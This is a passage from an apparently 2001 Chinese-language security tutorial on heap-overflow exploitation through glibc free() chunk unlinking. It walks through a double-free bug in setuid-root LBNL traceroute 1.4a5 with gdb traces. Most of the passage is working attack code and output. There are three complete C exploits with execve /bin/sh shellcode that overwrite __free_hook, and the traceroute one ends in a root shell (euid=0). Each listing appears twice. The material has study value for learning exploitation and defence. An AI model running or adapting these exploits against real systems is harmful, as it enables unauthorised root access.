5. 一个演示程序
下面我们就可以来写溢出程序了,其实是相当简单的:
- /* Exploit for free() with unlinking next chunk - ex.c
- * by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
- * 2001/03/06
- */
-
- #include <stdio.h>
- #include <stdlib.h>
-
- #define __FREE_HOOK 0x401091b8 /* __free_hook()地址 */
- #define VULPROG "./vul"
-
- #define PREV_INUSE 0x1
- #define IS_MMAPPED 0x2
-
- char shellcode[] =
- "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*这一段是为了跳过垃圾数据*/
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
-
- main (int argc, char **argv)
- {
- unsigned int codeaddr = 0;
- char buf[128], fake_chunk[16];
- char *env[2];
- unsigned int *ptr;
-
- /* 计算shellcode在堆栈中的地址 */
- codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);
-
- env[0] = shellcode;
- env[1] = NULL;
-
- /* 伪造一个块结构 */
- ptr = (unsigned int *) fake_chunk;
- *ptr++ = 0x11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */
- /* 设置长度为-4,这个值应当是4的倍数 */
- *ptr++ = 0xfffffffc;
- *ptr++ = __FREE_HOOK - 12 ;
- *ptr++ = codeaddr;
-
- bzero(buf, 128);
- memset (buf, 'A', 16); /* 填充无用数据 */
- memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));
-
- execle (VULPROG, VULPROG, buf, NULL, env);
-
- } /* End of main */
/* Exploit for free() with unlinking next chunk - ex.c
* by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
* 2001/03/06
*/
#include <stdio.h>
#include <stdlib.h>
#define __FREE_HOOK 0x401091b8 /* __free_hook()地址 */
#define VULPROG "./vul"
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
char shellcode[] =
"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*这一段是为了跳过垃圾数据*/
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
main (int argc, char **argv)
{
unsigned int codeaddr = 0;
char buf[128], fake_chunk[16];
char *env[2];
unsigned int *ptr;
/* 计算shellcode在堆栈中的地址 */
codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);
env[0] = shellcode;
env[1] = NULL;
/* 伪造一个块结构 */
ptr = (unsigned int *) fake_chunk;
*ptr++ = 0x11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */
/* 设置长度为-4,这个值应当是4的倍数 */
*ptr++ = 0xfffffffc;
*ptr++ = __FREE_HOOK - 12 ;
*ptr++ = codeaddr;
bzero(buf, 128);
memset (buf, 'A', 16); /* 填充无用数据 */
memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));
execle (VULPROG, VULPROG, buf, NULL, env);
} /* End of main */
运行一下看看:
[warning3@redhat-6 malloc]$ gcc -o ex ex.c [warning3@redhat-6 malloc]$ ./ex 0x8049768 [ buf ] (32) : AAAAAAAAAAAAAAAA???????瑧@??? 0x8049780 [ buf1 ] (08) : 瑧@??? From buf to buf1 : 24
Before free buf Before free buf1 bash$ <--- 成功了!!
是不是很简单?:-)
小节:
现在我们总结一下利用free(mem)来进行攻击的基本步骤。假设chunk是该块内部 结构的指针(chunk = mem - 8)。
我们有两种方法: 1. 如果我们想利用上一块的unlink进行攻击,需要保证: I. chunk->size的IS_MMAPPED位为零 II. chunk->size的PREV_INUSE位为零 III. chunk + chunk->prev_size指向一个我们控制的伪造块结构; IV. 在一个确定的位置构造一个伪块
2. 如果想利用下一个块的unlink进行攻击,需要保证: I. chunk->size的IS_MMAPPED位为零 II. chunk->size的PREV_INUSE位为一 III. chunk + nextsz 指向一个我们控制的伪造块结构。 (nextsz = chunk->size & ~(PREV_INUSE|IS_MMAPPED)) IV. 在一个确定的位置构造一个伪块
其中伪块(fake_chunk)的结构如下:
fake_chunk[0] = 0x11223344 & ~PREV_INUSE (只在第2种情况下有意义) fake_chunk[4] = 0xfffffffc | (PREV_INUSE|IS_MMAPPED); (只在第2种情况下有意义) fake_chunk[8] = objaddr - 12 ; (objaddr是要覆盖的目标地址) fake_chunk[12] = shellcodeaddr ; (shellcodeaddr是shellcode的地址)
至于具体使用上面哪种方法,需要根据实际情况确定。例如,如果你不能控制 chunk->prev_size使其指向我们的伪块,那就不能用第一种方法了。
我们再看一个利用上一块的unlink进行攻击的例子,只要将弱点程序的free(buf1)放到 free(buf)前面即可,这样我们所free的buf1就是一个我们可以控制的内存块了。 改动后的vul.c如下: ... printf ("Before free buf1\n"); free (buf1); /* 释放buf1 */ printf ("Before free buf\n"); free (buf); /* 释放buf */ ...
看看我们的新演示程序吧:
- /* Exploit for free() with unlinking previous chunk - ex1.c
- * by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
- * 2001/03/06
- */
-
- #include <stdio.h>
- #include <stdlib.h>
-
- #define __FREE_HOOK 0x401091b8 /* __free_hook()地址 */
- #define VULPROG "./vul"
-
- #define PREV_INUSE 0x1
- #define IS_MMAPPED 0x2
-
- char shellcode[] =
- "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*这一段是为了跳过垃圾数据 */
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
-
- main (int argc, char **argv)
- {
- unsigned int codeaddr = 0;
- char buf[128], fake_chunk[16];
- char *env[2];
- unsigned int *ptr;
-
- /* 计算shellcode在堆栈中的地址 */
- codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);
-
- env[0] = shellcode;
- env[1] = NULL;
-
- /* 伪造一个块结构。 */
- ptr = (unsigned int *) fake_chunk;
- *ptr++ = 0x11223344 & ~PREV_INUSE;
- *ptr++ = 0xfffffffc;
- *ptr++ = __FREE_HOOK - 12;
- *ptr++ = codeaddr;
-
- bzero (buf, 128);
- memset (buf, 'A', 16);
- ptr = (unsigned int *) (buf + 16);
-
- /* 让prev_size等于-8 ,使其指向我们伪造的块. 满足III条 */
- *ptr++ = 0xfffffff8;
-
- /* 只要保证next以及next->size可以访问即可。所以让size长度等于-4 ,
- * 如果要为正值,必须找到堆栈里的一个有效值,还要计算偏移,太麻烦。
- * 同时要清两个标记。满足I.,II.条
- */
- *ptr++ = 0xfffffffc & ~(PREV_INUSE | IS_MMAPPED);
-
- /* 将伪造的块放到确定位置。满足第IV条 */
- memcpy (buf + 16 + 8, fake_chunk, sizeof (fake_chunk));
-
- execle (VULPROG, VULPROG, buf, NULL, env);
-
- }/* End of main */
/* Exploit for free() with unlinking previous chunk - ex1.c
* by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
* 2001/03/06
*/
#include <stdio.h>
#include <stdlib.h>
#define __FREE_HOOK 0x401091b8 /* __free_hook()地址 */
#define VULPROG "./vul"
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
char shellcode[] =
"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*这一段是为了跳过垃圾数据 */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
main (int argc, char **argv)
{
unsigned int codeaddr = 0;
char buf[128], fake_chunk[16];
char *env[2];
unsigned int *ptr;
/* 计算shellcode在堆栈中的地址 */
codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);
env[0] = shellcode;
env[1] = NULL;
/* 伪造一个块结构。 */
ptr = (unsigned int *) fake_chunk;
*ptr++ = 0x11223344 & ~PREV_INUSE;
*ptr++ = 0xfffffffc;
*ptr++ = __FREE_HOOK - 12;
*ptr++ = codeaddr;
bzero (buf, 128);
memset (buf, 'A', 16);
ptr = (unsigned int *) (buf + 16);
/* 让prev_size等于-8 ,使其指向我们伪造的块. 满足III条 */
*ptr++ = 0xfffffff8;
/* 只要保证next以及next->size可以访问即可。所以让size长度等于-4 ,
* 如果要为正值,必须找到堆栈里的一个有效值,还要计算偏移,太麻烦。
* 同时要清两个标记。满足I.,II.条
*/
*ptr++ = 0xfffffffc & ~(PREV_INUSE | IS_MMAPPED);
/* 将伪造的块放到确定位置。满足第IV条 */
memcpy (buf + 16 + 8, fake_chunk, sizeof (fake_chunk));
execle (VULPROG, VULPROG, buf, NULL, env);
}/* End of main */
让我们再来测试一下:
[warning3@redhat-6 malloc]$ gcc -o ex1 ex1.c [warning3@redhat-6 malloc]$ ./ex1 0x8049768 [ buf ] (40) : AAAAAAAAAAAAAAAA??????D3"????瑧@??? 0x8049780 [ buf1 ] (16) : D3"????瑧@??? From buf to buf1 : 24
Before free buf1 <-- 先释放buf1 Before free buf bash$ exit
6. 实例: Traceroute "-g"问题
有了上面的演示程序。我们再来看一个真实世界的例子。
Traceroute是用来检查通往目标网络的路由情况的一个工具,很多Unix系统都安 装了这个软件。由于traceroute需要操纵原始套接字,因此通常被设置了setuid root属性。LBNL 1.4a5版的Traceroute(LBNL = Lawrence Berkeley National Laboratory)存在一个安全漏洞,可以被攻击者用来非法获取root权限。
这个漏洞主要是由于free()函数错误得去释放一块已经释放的内存所引起的。
首先我们看一下traceroute的漏洞出在那里。traceroute使用了一个savestr()函数,它 在savestr.c中,它的作用类似strdup(),用来复制一个字符串。它会自动调用malloc()分 配一块较大的内存空间, 并记录下调用完毕后剩余空间的大小。如果用户下次调用 savestr()时,所需内存比剩余空间还小,就不再调用malloc(),而是直接从已分配的空 间中返回一个地址,这样可以减少调用malloc()的次数。然而,这给用户确定何时需要释 放那块分配的内存带来了麻烦,traceroute中没有仔细考虑这一点,而是将savestr()等 同与strdup()来使用,每次调用savestr()完毕后总会调用free()函数释放内存。因此, 当第二次调用savestr()后,free()所释放的内存,实际上是一块未被分配的内存(因为 这块内存已经被第一次free()所释放了)!
下面舛尉褪莝avestr()的代码:
- <...>
- /* A replacement for strdup() that cuts down on malloc() overhead */
- char *
- savestr(register const char *str)
- {
- register u_int size;
- register char *p;
- static char *strptr = NULL;
- static u_int strsize = 0;
-
- size = strlen(str) + 1;
- if (size > strsize) {
- strsize = 1024;
- if (strsize < size)
- strsize = size;
- /* 只有size>strsize的情况下才调用malloc*/
- strptr = (char *)malloc(strsize);
- if (strptr == NULL) {
- fprintf(stderr, "savestr: malloc\n");
- exit(1);
- }
- }
- (void)strcpy(strptr, str);
- p = strptr;
- strptr += size;
- strsize -= size;
- return (p);
- }
-
- <...>
<...>
/* A replacement for strdup() that cuts down on malloc() overhead */
char *
savestr(register const char *str)
{
register u_int size;
register char *p;
static char *strptr = NULL;
static u_int strsize = 0;
size = strlen(str) + 1;
if (size > strsize) {
strsize = 1024;
if (strsize < size)
strsize = size;
/* 只有size>strsize的情况下才调用malloc*/
strptr = (char *)malloc(strsize);
if (strptr == NULL) {
fprintf(stderr, "savestr: malloc\n");
exit(1);
}
}
(void)strcpy(strptr, str);
p = strptr;
strptr += size;
strsize -= size;
return (p);
}
<...>
我们看一下两次调用savestr()时的情形:
<1>. p = savestr(S)
假设字符串S长度为l(l<1024),则第一次调用savestr(),它会分配1024 字节长的缓冲区来储存S:
|<----------------------- 1024 bytes -------------------->| +----------------------------+----------------------------+ | S[0] S[1] ... S[l-1] \0 | junk | +----------------------------+----------------------------+ ^ ^ |__ p |___ strptr
这时候剩余空间strsize为: (1024 - l - 1) strptr指向 junk的起始
<2>. free(p)
第一次free()会释放p指向的这块缓冲区(1024字节),它会放一些数据在缓 冲区的开头
|<----------------------- 1024 bytes -------------------->| +-------+--------------------+----------------------------+ | junk1 | S[k] ... S[l-1] \0 | junk | +-------+--------------------+----------------------------+ ^ |___ strptr 这时候p所指向的1024字节大小的缓冲区已经被释放了。
<3>. p = savestr(T)
第二次调用savestr()时,如果字符串T的长度小于strsize(1024 -l -1), 那么savestr()就不会再次调用malloc()分配新内存,而是直接调用了: .... (void)strcpy(strptr, str); p = strptr; strptr += size; strsize -= size; return (p); .... 将字符串T拷贝到junk的起始处,而实际上,这块内存已经被释放了! 拷贝的结果如下:
|<----------------------- 1024 bytes -------------------->| +-------+--------------------+--------------------+-------+ | junk1 | S[k] ... S[l-1] \0 | T[0] ... T[n-1] \0 | junk2| +-------+--------------------+--------------------+-------+ ^ ^ |__ p |___ strptr
这时,strptr指向了junk2处,strsize = 1024 -l -1 -n -1 p指向原来的chunk起始处。
<4>. free(p)
第二次调用free()时,所指向的实际上是一个未分配的缓冲区,这就导致 一个严重错误。我们看到既然S和T都是我们可以控制的,那么我们就可以 利用前面所说的两种方法中的任意一种来进行攻击!
下面就是调用'-g'参数时函数执行的一个简单流程。
- main()
- ....
- case 'g':
- ...
- getaddr(gwlist + lsrr, optarg);
-
- getaddr(register u_int32_t *ap, register char *hostname)
- {
- register struct hostinfo *hi;
-
- (1) hi = gethostinfo(hostname);
- *ap = hi->addrs[0];
- (2) freehostinfo(hi);
- }
-
- struct hostinfo *
- gethostinfo(register char *hostname)
- {
-
- ...
- (3) hi = calloc(1, sizeof(*hi));
- ...
- addr = inet_addr(hostname);
- if ((int32_t)addr != -1) {
- (4) hi->name = savestr(hostname);
- hi->n = 1;
- (5) hi->addrs = calloc(1, sizeof(hi->addrs[0]));
- ...
- (6) hi->addrs[0] = addr;
- return (hi);
- }
main()
....
case 'g':
...
getaddr(gwlist + lsrr, optarg);
getaddr(register u_int32_t *ap, register char *hostname)
{
register struct hostinfo *hi;
(1) hi = gethostinfo(hostname);
*ap = hi->addrs[0];
(2) freehostinfo(hi);
}
struct hostinfo *
gethostinfo(register char *hostname)
{
...
(3) hi = calloc(1, sizeof(*hi));
...
addr = inet_addr(hostname);
if ((int32_t)addr != -1) {
(4) hi->name = savestr(hostname);
hi->n = 1;
(5) hi->addrs = calloc(1, sizeof(hi->addrs[0]));
...
(6) hi->addrs[0] = addr;
return (hi);
}
我们看到,每次getaddr中都会释放hostinfo结构中的每个成员,包括hi->name.(1) 而再第二次调用gethostinfo()时,又会经历两次calloc操作(3,5),以及一次赋值 操作(6)。因此看起来并不象我们原来想象的那么简单,关键在于我们能否控制第 二次free的那块内存的内部结构成员:chunk->size或者是chunk->prev_size. 让我们来跟踪一下:
[root@redhat-6 traceroute-1.4a5]# gdb ./traceroute -q (gdb) b gethostinfo Breakpoint 1 at 0x804aae8: file ./traceroute.c, line 1220. (gdb) r -g 111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1
Starting program: /usr/src/redhat/BUILD/traceroute-1.4a5/./traceroute -g 111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1
Breakpoint 1, gethostinfo (hostname=0xbffffdf3 "111.111.111.111") at ./traceroute.c:1220 1220 hi = calloc(1, sizeof(*hi)); (gdb) n 1221 if (hi == NULL) { (gdb) n 1225 addr = inet_addr(hostname); (gdb) n 1226 if ((int32_t)addr != -1) { (gdb) p/x addr <-- 这是hostname转换后的地址(111.111.111.111) $2 = 0x6f6f6f6f (gdb) n <-- 下一步要为hostname分配1024字节内存 1227 hi->name = savestr(hostname); (gdb) n 1228 hi->n = 1; (gdb) p/x hi->name <-- 这是第一次分配返回的地址 $3 = 0x804d518 (gdb) x/8x hi->name -8 [prev_size] [size] [data...] 0x804d510: 0x00000000 0x00000409 0x2e313131 0x2e313131 0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000 (gdb) n <-- 又动态分配了一块内存 1229 hi->addrs = calloc(1, sizeof(hi->addrs[0])); (gdb) 1230 if (hi->addrs == NULL) { (gdb) p/x hi->addrs <-- 这块内存是分配在hi->name + 0x400+8这个地址 $4 = 0x804d920 (gdb) n 1235 hi->addrs[0] = addr; (gdb) n 1236 return (hi); (gdb) x/x hi->addrs 0x804d920: 0x6f6f6f6f <-- 注意,将addr存在这个地址了。 (gdb) c Continuing.
Breakpoint 1, gethostinfo (hostname=0xbffffe06 "0x66.0x77.0x88.0x99") at ./traceroute.c:1220 1220 hi = calloc(1, sizeof(*hi)); [ 这时,前面分配的内存已经全被释放了 ]
(gdb) p/x 0x804d510 <-- 我们看看原来的hi->name内存的情况 $5 = 0x804d510 (gdb) x/10x 0x804d510 [prev_size] [size] [data...] 0x804d510: 0x0804d920 0x00000af1 0x40108f80 0x40108f80 0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000 0x804d530: 0x00000000 0x00000000 [ 我们看到我们原来的数据(16个字节)已经改变了 ] (gdb) n 1221 if (hi == NULL) { (gdb) x/10x 0x804d510 <--- 执行完第一个calloc(),后,prev_size被清零了。 [prev_size] [size] [data...] 0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80 0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000 0x804d530: 0x00000000 0x00000000 (gdb) n 1225 addr = inet_addr(hostname); (gdb) n 1226 if ((int32_t)addr != -1) { (gdb) p/x addr <-- 这里意味着我们可以构造一个任意的值,并赋给addr $6 = 0x99887766 (gdb) n 1227 hi->name = savestr(hostname); <--再次调用savestr() (gdb) n 1228 hi->n = 1; (gdb) p/x hi->name $7 = 0x804d528 <-- 注意!hi->name的起始位置 = 0x804d518 + 第一个-g参数的长度(16)
(gdb) x/12x 0x804d510 0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80 0x804d520: 0x2e313131 0x00313131 * 0x36367830 0x3778302e 0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000 [ 第二个参数的内容从*号处开始 ]
(gdb) n <-- 下面这个calloc将再分配一段内存 1229 hi->addrs = calloc(1, sizeof(hi->addrs[0])); (gdb) n 1230 if (hi->addrs == NULL) { (gdb) p/x hi->addrs < --- 这个地址就是我们第一次savestr()时得到的地址!!! $8 = 0x804d518 (gdb) p/x sizeof(hi->addrs[0]) $9 = 0x4 (gdb) x/12x 0x804d510 <--- [prev_size] [size] [data...] 0x804d510: 0x0804d518 0x00000011 0x00000000 0x00000000 0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e 0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000 [ 从上面看到,新分配的内存也是从0x804d510开始的,而且将用户数据区的前8个 字节清零。最顶上的块也移动了16个字节,将0x804d520,0x804d524两个地址的 数据覆盖了。 ] (gdb) n 1235 hi->addrs[0] = addr; (gdb) p/x hi->addrs[0] $10 = 0x0 (gdb) n 1236 return (hi); (gdb) p/x hi->addrs[0] $11 = 0x99887766 (gdb) p/x &hi->addrs[0] $12 = 0x804d518 (gdb) x/12x 0x804d510 [prev_size] [size] [data...] 0x804d510: 0x0804d518 0x00000011 0x99887766 0x00000000 0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e 0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000
[ 注意,addr = 0x99887766被存到了0x804d518处,这个值是我们能控制的 ]
(gdb) c Continuing.
Program received signal SIGSEGV, Segmentation fault. 0x40073f73 in free () at malloc.c:2952 2952 malloc.c: No such file or directory.
[ 在试图free *号开始地址的内存时出错 ]
为了更容易理解一下,我们可以看一下两次调用savestr()时的图:
第一次调用savestr()后,返回地址p0:
|<----------------------- 1024 bytes -------------------->| +----------------------------+----------------------------+ | "111.111.111.111" \0 | junk | +----------------------------+----------------------------+ ^ |__ p0
在第二次savestr()后,p0移动到一个新的位置p1=p0 + strlen(hostname) +1。
由于执行了一个calloc()操作,导致从p2开始的12个字节是我们不能控制的. 而幸运的是,由于有一个"hi->addrs[0] = addr"操作,使得p2前面的四个 字节是我们能控制的
|<----------------------- 1024 bytes -------------------->| +--------+----------------------+---------------------+---+ |99887766|0000 0000 0x0ae1|...\0|"0x66.0x77.0x88.0x99"|...| +--------+----------------------+---------------------+---+ | 4字节 |<--- 12字节 --->| ^ p0 p2 |__ p1
接下来要free(p1)了。根据前面介绍的方法,如果要想利用free(p1), 我们必须能控制p1-4(size)或者p1-8(prev_size)的内容,既然我们能控制 p0开始的4个字节,如果我们能设法使得p1与p2重合,那么我们不就可以 控制p1-4了吗?这样就要求第一个"-g"参数长度为3字节,例如"1.1" 再加上最后的'\0',长度就刚好是4字节了。
|<----------------------- 1024 bytes -------------------->| +--------+------------------------------------------------+ | "1.1"\0| | +--------+------------------------------------------------+ | 4字节 | p0
|<----------------------- 1024 bytes -------------------->| +--------+------------------------------------------------+ | "1.1"\0|"0x66.0x77.0x88.0x99"\0 | +--------+------------------------------------------------+ | 4字节 | p0 p1
|<----------------------- 1024 bytes -------------------->| +--------+----------------------------+-------------------+ |99887766|0000 0000 0x0ae1|"88.0x99"\0|... | +--------+----------------------------+-------------------+ | 4字节 |<--- 12字节 --->|<--8字节-->| p0 p2(p1)
那么下一步的关键就是如何设置chunk->size,以及将我们的伪造的块放在 什么地方了。 inet_addr()有一个"特性",如果你输入"1.2.3.4 AAAAAA"(注意空格后面 还添加了一些'A'),它并不会报错,返回值为0x04030201.如果输入 "0xaa.0xbb.0xcc.0xdd AAA"这样的字符串,返回值就是0xddccbbaa.我们 可以将伪造的块放在空格后面,将chunk->size放在0xaa.0xbb.0xcc.0xdd 中。例如,第二个"-g"参数使用"0x1d.0x00.0x00.0x00 fake_chunk" 这样得到的chunk->size=0x0000001d。 0x1d这个值是怎么算出来的呢?
chunk = p1 -8 fake_chunk = p1 + strlen("0x1d.0x00.0x00.0x00 ") = p1 + 20 = chunk + 8 + 20 = chunk + 28 = chunk + 0x1c (0x1c | PREV_INUSE) ==> 0x1d
有人也许会说,为什么不将第一个参数长度设得比较大,例如,超过16 字节,这样16字节后面的部分也会在我们的控制之下,利用这些部分来 构造一个prev_size和size不是更方便吗?我开始也是这么考虑的,但是 实际测试时发现,p2所代表块的已经是top块,就是最顶上的块。free(p1) 时,要求p1-8地址低于p2,因此这种方法行不通。
OK,到这里可以说是大功告成了,下面就可以开始写测试程序了。我们利用的 是unlink下一个块的方法。你会发现,一旦原理搞清楚了,这个测试程序是相 当简洁的。 唯一需要知道的,就是__free_hook的地址.如果你有对 /usr/sbin/traceroute的读权限,可以将它拷贝到一个临时目录下,然后使用 gdb,将断点设在exit,然后获取__free_hook.如果没有读权限,可以增加一个 偏移量,自动测试可能的__free_hook,一般按照0x10来递增或递减即可。
- /* Exploit for LBNL traceroute with unlinking nextchunk
- * - traceroute-ex.c
- *
- * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
- * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
- *
- * by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
- * 2001/03/08
- */
- #include <stdio.h>
- #include <stdlib.h>
-
- #define __FREE_HOOK 0x401091b8 /* __free_hook地址 */
- #define VULPROG "/usr/sbin/traceroute"
-
- #define PREV_INUSE 0x1
- #define IS_MMAPPED 0x2
-
- char shellcode[] =
- "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*这一段是为了跳过垃圾数据 */
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
-
- main (int argc, char **argv)
- {
- unsigned int codeaddr = 0;
- char buf[128],fake_chunk[16];
- char *env[2];
- unsigned int *ptr;
-
- /* 计算shellcode在堆栈中的地址 */
- codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);
-
- env[0] = shellcode;
- env[1] = NULL;
-
- /* 伪造一个块结构。 */
- ptr = (unsigned int *) fake_chunk;
- *ptr++ = 0x11223344 & ~PREV_INUSE;
- *ptr++ = 0xfffffffc;
- *ptr++ = __FREE_HOOK - 12;
- *ptr++ = codeaddr;
-
- bzero (buf, 128);
- /* 设置chunk->size = ((20+8 = 28 = 0x1c) | PREV_INUSE)= 0x1d */
- memcpy(buf, "0x1d.0x00.0x00.0x00 ", 20);
- memcpy(buf+20, fake_chunk, 16);
-
- execle (VULPROG, VULPROG, "-g", "1.1", "-g" , buf, "127.0.0.1", NULL, env);
-
- }/* End of main */
/* Exploit for LBNL traceroute with unlinking nextchunk
* - traceroute-ex.c
*
* THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
* ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
*
* by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
* 2001/03/08
*/
#include <stdio.h>
#include <stdlib.h>
#define __FREE_HOOK 0x401091b8 /* __free_hook地址 */
#define VULPROG "/usr/sbin/traceroute"
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
char shellcode[] =
"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*这一段是为了跳过垃圾数据 */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
main (int argc, char **argv)
{
unsigned int codeaddr = 0;
char buf[128],fake_chunk[16];
char *env[2];
unsigned int *ptr;
/* 计算shellcode在堆栈中的地址 */
codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);
env[0] = shellcode;
env[1] = NULL;
/* 伪造一个块结构。 */
ptr = (unsigned int *) fake_chunk;
*ptr++ = 0x11223344 & ~PREV_INUSE;
*ptr++ = 0xfffffffc;
*ptr++ = __FREE_HOOK - 12;
*ptr++ = codeaddr;
bzero (buf, 128);
/* 设置chunk->size = ((20+8 = 28 = 0x1c) | PREV_INUSE)= 0x1d */
memcpy(buf, "0x1d.0x00.0x00.0x00 ", 20);
memcpy(buf+20, fake_chunk, 16);
execle (VULPROG, VULPROG, "-g", "1.1", "-g" , buf, "127.0.0.1", NULL, env);
}/* End of main */
测试结果:
[warning3@redhat-6 malloc]$ gcc -o ex3 ex3.c [warning3@redhat-6 malloc]$ ./ex3 bash# id uid=507(warning3) gid=507(warning3) euid=0(root) groups=507(warning3),100(users) bash#
★ 结束语:
malloc/free的问题使得在某些平台/系统下,Heap区溢出的危险性大大增加了, 值得引起我们的重视。另外,除了free()可能出问题外,realloc()也可能出问题。 有兴趣的读者可以自行参看一下realloc()的代码。
最初想写这篇文档是在去年10月份,后来由于种种原因,一直拖了下来, 为此被scz骂了很多次。 现在总算完成了。
★ 感谢:
感谢Solar Designer,Chris Evans,dvorak,Michel Kaempf无私地奉献了他 们的研究成果。(参见参考文献.)
★ 参考文献:
[1] Solar Designer, <<JPEG COM Marker Processing Vulnerability in Netscape Browsers>> http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt
[2] Chris Evans, <<Very interesting traceroute flaw>> http://security-archive.merton.ox.ac.uk/bugtraq-200009/0482.html
[3] dvorak , <<Traceroute exploit + story>> http://security-archive.merton.ox.ac.uk/bugtraq-200010/0084.html
[4] Michel Kaempf, <<[MSY] Local root exploit in LBNL traceroute>> http://security-archive.merton.ox.ac.uk/bugtraq-200011/0081.html
|